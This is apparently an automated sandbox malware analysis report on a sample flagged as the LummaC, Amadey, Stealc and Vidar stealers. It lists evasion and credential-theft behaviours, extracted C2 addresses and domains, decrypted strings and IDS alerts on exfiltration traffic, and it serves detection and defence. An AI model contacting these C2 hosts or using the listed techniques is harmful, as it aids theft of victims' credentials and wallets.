Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1579352
MD5: aefbd9e285960b704524b4c33b0c9567
SHA1: 688eb719525b89f93db7d22bcbae38a13e7a973b
SHA256: bc240f565f4a4aab03cdf04b6ae4522179347145e338ef33df918e741afc5ebb
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys Clipper DLL
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected Vidar stealer
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Drops PE files to the document folder of the user
Drops large PE files
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Leaks process information
Loading BitLocker PowerShell Module
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sleep loop found (likely to delay execution)
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": "http://www.microsoft.com0", "Botnet": "1402"}
Source: 00000002.00000002.1747399755.0000000000EA1000.00000040.00000001.01000000.00000008.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 11.2.85746525a0.exe.400000.1.unpack Malware Configuration Extractor: LummaC {"C2 url": ["sustainskelet.lat", "grannyejh.lat", "crosshuaht.lat", "rapeflowwj.lat", "necklacebudi.lat", "energyaffai.lat", "pancakedipyps.click", "aspecteirs.lat", "discokeyus.lat"], "Build id": "FATE99--test"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[5].exe ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[4].exe ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1019676001\6cc6a39605.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1019677001\fbaaecbd82.exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\1019679001\cd81608004.exe ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1019680001\92aba5cf15.exe ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\1019682001\62a707bc2a.exe ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1019683001\796ecf2647.exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\Ae01fdzV5f53ffefSw3BEvKVeV\Y-Cleaner.exe ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 52%
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 56% Perma Link
Source: file.exe ReversingLabs: Detection: 52%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 97.6% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: rapeflowwj.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: crosshuaht.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: sustainskelet.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: aspecteirs.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: energyaffai.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: necklacebudi.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: discokeyus.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: grannyejh.lat
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: pancakedipyps.click
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: lid=%s&j=%s&ver=4.0
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: TeslaBrowser/5.5
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: - Screen Resoluton:
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: - Physical Installed Memory:
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: Workgroup: -
Source: 11.2.85746525a0.exe.400000.1.unpack String decryptor: FATE99--test
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_b63f1026-0
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File opened: C:\Windows\SysWOW64\msvcr100.dll
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 94.130.188.57:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003396000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000000.2814391688.0000015C06812000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003396000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000000.2814391688.0000015C06812000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: 81d22383f9.exe, 0000000C.00000000.2576935006.0000000000162000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: 81d22383f9.exe, 0000000C.00000000.2576935006.0000000000162000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 6f3b41816f.exe, 00000021.00000002.3345424664.0000000000CB2000.00000040.00000001.01000000.0000001F.sdmp
Source: Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: a2870b1ac5.exe, 00000007.00000000.2454581777.000000000120C000.00000002.00000001.01000000.0000000A.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: number of queries: 2002
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002E36A9 FindFirstFileExW, 9_2_002E36A9
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002E375A FindFirstFileExW,FindNextFileW,FindClose,FindClose, 9_2_002E375A
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash10755\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\
Source: firefox.exe Memory has grown: Private usage: 1MB later: 50MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49758 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49786 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49794 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:51271 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49792 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49795 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49796 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49798 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49799 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49800 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49805 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49809 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49811 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49820 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49823 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:50852 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:56476 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49830 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.4:55298 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49834 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49836 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49835 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49851 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:65076 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:59373 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49861 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49864 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49863 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49863 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49863
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49863 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49863
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49868 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49867 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49863 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49872 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49880 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49879 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49894 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49896 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49899 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49902 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49903 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49906 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49911 -> 104.21.21.99:443
